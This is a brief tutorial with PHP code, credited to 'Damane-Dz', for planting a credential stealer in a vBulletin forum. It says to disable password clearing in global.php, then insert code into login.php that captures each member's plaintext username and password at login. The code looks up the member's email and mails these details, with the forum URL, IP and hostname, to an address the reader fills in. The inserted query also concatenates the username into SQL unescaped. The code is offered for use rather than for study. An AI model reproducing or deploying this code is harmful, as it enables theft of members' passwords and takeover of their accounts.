How To Infect Vbulletin And Get Members Passwords ??

 <?php
// How To Infect Vbulletin And Get Members Passwords ?? :D
// First Go To global.php File
// Find $show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING')
// Add // To This Phrase >> Become Comment :p
// Then Go To login.php File
// Find process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);
// Add This Code After It

// Code StarT

$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query))
{
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
function curPageURL() {
 $pageURL = 'http';
 if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
 $pageURL .= "://";
 if ($_SERVER["SERVER_PORT"] != "80") {
  $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
 } else {
  $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
 }
 return $pageURL;
}
$url = curPageURL();
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$message  = "------------------+ VBulletin Account +-----------------\n";
$message .= "Forum URL            : ".$url."\n";
$message .= "UserName             : ".$lg_username."\n";
$message .= "Password             : ".$lg_password."\n";
$message .= "Email                : ". $row["email"] ."\n";
$message .= "----------------------- By Damane-Dz --------------------------\n";
$message .= "Client IP : ".$ip."\n";
$message .= "HostName : ".$hostname."\n";
$rnessage = "$message\n";
$message .= "-------------------+ Created By Damane-Dz +--------------------\n";
$send= "yourmail@mail.com";
$subject = "$url | VBulletin Account | $ip";
$headers = "From:VBulletin Account<VB@Rezult.CoM>";
mail($send,$subject,$message,$headers);
}
}

// Finally Change yourmail@mail.com with your mail :$

// Done By Damane-Dz (Damane-Dz@hotmail.com)